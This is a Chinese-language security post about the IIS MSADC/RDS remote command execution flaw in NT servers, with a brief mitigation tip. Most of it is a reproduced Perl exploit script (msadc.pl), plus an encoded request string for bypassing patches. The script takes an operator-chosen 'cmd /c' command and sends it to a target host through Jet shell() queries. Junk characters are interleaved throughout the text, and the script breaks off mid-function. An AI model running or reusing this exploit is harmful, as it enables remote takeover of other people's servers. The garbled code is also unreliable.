IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
CFn!P;.! mNs&*h} 涉及程序:
7zy6`OP Microsoft NT server
bl:.D~@ jYuH
zf 描述:
&grT} 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
-4"E]f Oi=kL{DG:s 详细:
up`!r;5- 如果你没有时间读详细内容的话,就删除:
{6A3?q c:\Program Files\Common Files\System\Msadc\msadcs.dll
LUJKR6oT{> 有关的安全问题就没有了。
:3u>% @@_f''f$ 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
@Vc*JEW H}X3nl\] 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
k%JwS_F 关于利用ODBC远程漏洞的描述,请参看:
q]<cn2 gNN{WFHQX: http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm @e+QGd;} K^w(WE;db 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
YW0UIO http://www.microsoft.com/security/bulletins/MS99-025faq.asp :X/j%m* ^qYJx 这里不再论述。
!SEg4z Svy bP&i| 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
BEN=/
v
c`AtKs)u /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
WOR~tS 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
V%
psaT=)P g/'MECB hbzU?_} #将下面这段保存为txt文件,然后: "perl -x 文件名"
a\aJw[d{ #(T #!perl
ti3T?_ #
g!cTG-bh>J # MSADC/RDS 'usage' (aka exploit) script
TDk' #
z4{H= # by rain.forest.puppy
M-"%4^8_ #
jBarY g # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
,;hIyT # beta test and find errors!
6:#zlKYJ ]xfu@'' use Socket; use Getopt::Std;
Tf<1Z{9 getopts("e:vd:h:XR", \%args);
F3i+t+Jt Hq3"OMG q print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
X^eTf-*T q:+,'&<D if (!defined $args{h} && !defined $args{R}) {
$62!R]C9\ print qq~
&}Cm9V Usage: msadc.pl -h <host> { -d <delay> -X -v }
(n|PLi -h <host> = host you want to scan (ip or domain)
(%YFcE)SRS -d <seconds> = delay between calls, default 1 second
seB ^o} -X = dump Index Server path table, if available
a9` E&Q}z -v = verbose
v&D^N9hy9 -e = external dictionary file for step 5
oxha8CF]D >7p?^*&7; Or a -R will resume a command session
u-$(TyDEl| f3[gAY ~; exit;}
d.3-@^P X@2[!%nm $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
:B6hYx if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
(Xi?Y/ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
w =^QIr% if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
Ao69Qn $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
/Z94<}C6b if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
nGZZCsf < %l(qyH)* if (!defined $args{R}){ $ret = &has_msadc;
R6r'[-B2 die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
Cq(dj^/~m Xk8+m> print "Please type the NT commandline you want to run (cmd /c assumed):\n"
)xy1DA . "cmd /c ";
(:4N#p $in=<STDIN>; chomp $in;
uK2MC?LP $command="cmd /c " . $in ;
a4Qr\"Qm ]<V[H if (defined $args{R}) {&load; exit;}
4RGEg;]S @bSxT,2 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
{m.l{<H &try_btcustmr;
yF8 av=<{ K*xqQ]& print "\nStep 2: Trying to make our own DSN...";
LJt#c+]Li &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
q;3.pRw( N0,wT6. print "\nStep 3: Trying known DSNs...";
*/;[ -9 &known_dsn;
]Nz~4ebB MkEr|w' print "\nStep 4: Trying known .mdbs...";
%QCh#v=ks &known_mdb;
7F!_gj p xT6&;,|` if (defined $args{e}){
yl0&|Ub print "\nStep 5: Trying dictionary of DSN names...";
y-w=4_W &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
e
C?adCb ouL/tt_~ print "Sorry Charley...maybe next time?\n";
L}T:Y). exit;
f 0A0uU8y R @N
I ##############################################################################
a{v1[i\ ^I*</w8 sub sendraw { # ripped and modded from whisker
/g BB sleep($delay); # it's a DoS on the server! At least on mine...
d!mtSOh my ($pstr)=@_;
;}"_hLX socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
[p^N].K$ die("Socket problems\n");
X`JWYb4 if(connect(S,pack "SnA4x8",2,80,$target)){
MF)Xc\}0p select(S); $|=1;
UE3(L
^ print $pstr; my @in=<S>;
r BQFC4L select(STDOUT); close(S);
7=(rk return @in;
sEP-jEuwG } else { die("Can't connect...\n"); }}
fl #gWAM (Z;;v|F.i= ##############################################################################
<5X?6*Qvr r9McCebIW sub make_header { # make the HTTP request
SAMP,un7 my $msadc=<<EOT
,K'>s<} POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
VJmX@zX9 User-Agent: ACTIVEDATA
>77N5>]e Host: $ip
xOnbYU Content-Length: $clen
|WqEJ*$, Connection: Keep-Alive
r2M Iw V3DXoRE-8i ADCClientVersion:01.06
Ir'(GB Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
D/uGL
t~D( F67%xz0 --!ADM!ROX!YOUR!WORLD!
()a(PvEO Content-Type: application/x-varg
m7}PJ^*b Content-Length: $reqlen
(ZH5/VKp |:BKexjHL EOT
5#3/ ; $msadc=~s/\n/\r\n/g;
ARvT return $msadc;}
Ysbd4rN $fES06% ##############################################################################
F9@,T8I 3C'`K, sub make_req { # make the RDS request
A(zF[\{] my ($switch, $p1, $p2)=@_;
u>SGa @R) my $req=""; my $t1, $t2, $query, $dsn;
exT
O#*o uTTM%-DMHT if ($switch==1){ # this is the btcustmr.mdb query
})RT2zw} $query="Select * from Customers where City=" . make_shell();
1henQiIO $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
>oSNKE $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
z ea=vx>` v'gP,UO-%D elsif ($switch==2){ # this is general make table query
)[_A{#&